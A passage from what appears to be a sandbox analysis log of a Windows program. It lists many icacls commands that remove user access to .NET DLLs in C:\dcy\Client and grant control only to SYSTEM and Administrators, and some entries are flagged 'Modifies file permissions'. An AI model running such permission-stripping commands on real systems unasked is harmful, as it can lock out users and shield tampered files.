        icacls "C:\dcy\Client\System.Memory.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Http.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.HttpListener.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4696
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.IPNetwork.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3912
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Mail.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4684
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.NameResolution.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3924
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.NetworkInformation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Ping.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:520
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Quic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Requests.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1972
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Security.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.ServicePoint.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1408
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.Sockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5760
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4500
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebHeaderCollection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4428
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebProxy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebSockets.Client.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Net.WebSockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Numerics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Numerics.Vectors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ObjectModel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5596
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Printing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.CoreLib.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5952
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.DataContractSerialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5228
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Uri.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4408
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:864
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Private.Xml.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.DispatchProxy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4392
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.ILGeneration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2332
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Emit.Lightweight.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Metadata.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2604
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2068
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Reflection.TypeExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Reader.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.ResourceManager.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Resources.Writer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4556
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.CompilerServices.Unsafe.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5524
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.CompilerServices.VisualC.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4480
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1532
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5232
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Handles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4732
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2516
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.JavaScript.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5488
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.InteropServices.RuntimeInformation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Intrinsics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Loader.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Numerics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Formatters.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2672
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Runtime.Serialization.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2412
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Claims.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Algorithms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Cng.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Csp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4052
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Encoding.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.OpenSsl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Pkcs.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.ProtectedData.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.X509Certificates.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1944
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Cryptography.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5132
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Permissions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Principal.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.Principal.Windows.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Security.SecureString.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceModel.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceProcess.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ServiceProcess.ServiceController.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5776
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.CodePages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encoding.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2684
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Encodings.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2360
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Text.RegularExpressions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3740
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Channels.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5900
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4876
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Overlapped.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.RateLimiting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Dataflow.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2772
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Tasks.Parallel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4364
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.Thread.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Threading.ThreadPool.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
